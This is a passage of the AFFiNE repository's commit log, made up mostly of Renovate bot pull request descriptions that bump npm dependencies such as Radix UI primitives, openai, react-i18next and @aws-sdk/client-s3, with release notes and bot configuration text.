| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-label](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.0` -> `2.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-label/2.1.0/2.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-label/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-label/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-label/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-label/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-progress](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-progress/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-progress/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-progress/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-progress/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-progress/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-radio-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-radio-group/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-radio-group/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.2` -> `2.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.2/2.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-separator](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-separator/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-separator/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-separator/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-separator/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-separator/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-slider](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slider/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slider/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slider/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slider/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slider/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-slot](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slot/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slot/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slot/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slot/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slot/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-switch](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-switch/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-switch/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-switch/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-switch/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-switch/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tabs](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tabs/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tabs/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.2` -> `1.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.2/1.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toggle](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toggle/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toggle/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toggle-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toggle-group/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toggle-group/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toolbar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toolbar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toolbar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.4` -> `1.1.5`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-visually-hidden](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-visually-hidden/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-visually-hidden/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.1` -> `4.76.2`](https://renovatebot.com/diffs/npm/openai/4.76.1/4.76.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.1/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.1/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.54.0` -> `7.54.1`](https://renovatebot.com/diffs/npm/react-hook-form/7.54.0/7.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.54.0/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.54.0/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.4` -> `15.2.0`](https://renovatebot.com/diffs/npm/react-i18next/15.1.4/15.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.4/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.4/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>radix-ui/primitives (@&#8203;radix-ui/react-accordion)</summary>

### [`v1.2.2`](https://redirect.github.com/radix-ui/primitives/compare/6b40728c55c9d8dd86b74b85c8342c383f280a29...157415ed1f34c53b5afbf53a047895ed6a7f957f)

[Compare Source](https://redirect.github.com/radix-ui/primitives/compare/157415ed1f34c53b5afbf53a047895ed6a7f957f...3c5e05fab070dfa68212230e85baf0879269c57d)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.76.2`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4762-2024-12-12)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.76.1...v4.76.2)

Full Changelog: [v4.76.1...v4.76.2](https://redirect.github.com/openai/openai-node/compare/v4.76.1...v4.76.2)

##### Chores

-   **internal:** update isAbsoluteURL ([#&#8203;1223](https://redirect.github.com/openai/openai-node/issues/1223)) ([e908ed7](https://redirect.github.com/openai/openai-node/commit/e908ed759996fb7706baf46d094fc77419423971))
-   **types:** nicer error class types + jsdocs ([#&#8203;1219](https://redirect.github.com/openai/openai-node/issues/1219)) ([576d24c](https://redirect.github.com/openai/openai-node/commit/576d24cc4b3d766dfe28a6031bdc24ac1b711655))

</details>

<details>
<summary>react-hook-form/react-hook-form (react-hook-form)</summary>

### [`v7.54.1`](https://redirect.github.com/react-hook-form/react-hook-form/compare/v7.54.0...4902d0c70ad84a2584aac511ab7e2c766d7441c3)

[Compare Source](https://redirect.github.com/react-hook-form/react-hook-form/compare/v7.54.0...v7.54.1)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.2.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1520)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.4...v15.2.0)

This version may be breaking if you still use React < v18 with TypeScript.
For JS users this version is equal to v15.1.4

-   fix: Global JSX namespace is deprecated [1823](https://redirect.github.com/i18next/react-i18next/issues/1823) with [1822](https://redirect.github.com/i18next/react-i18next/pull/1822)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 04:05:06 +00:00
Brooooooklyn 8f29a58508 ci: re-enable nx cloud (#9132) 2024-12-13 02:57:43 +00:00
forehalo d620a525cc fix(server): allow email with dot in name 2024-12-13 10:53:49 +08:00
renovate ef6068b7c2 chore: bump up @blocksuite/affine version to v0.18.6 (#9113)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.5` -> `0.18.6`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.5/0.18.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.5/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.5/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.6`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0186)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.5...v0.18.6)

##### Patch Changes

-   [`d925364`](https://redirect.github.com/toeverything/blocksuite/commit/d925364): Blocksuite patch release.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 02:32:40 +00:00
renovate 8eea813c7c chore: bump up all non-major dependencies (#8994)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.703.0` -> `3.709.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.703.0` -> `3.709.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@dnd-kit/core](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/core)) | [`6.2.0` -> `6.3.1`](https://renovatebot.com/diffs/npm/@dnd-kit%2fcore/6.2.0/6.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fcore/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fcore/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fcore/6.2.0/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fcore/6.2.0/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@emotion/cache](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2fcache/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fcache/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fcache/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fcache/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fcache/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
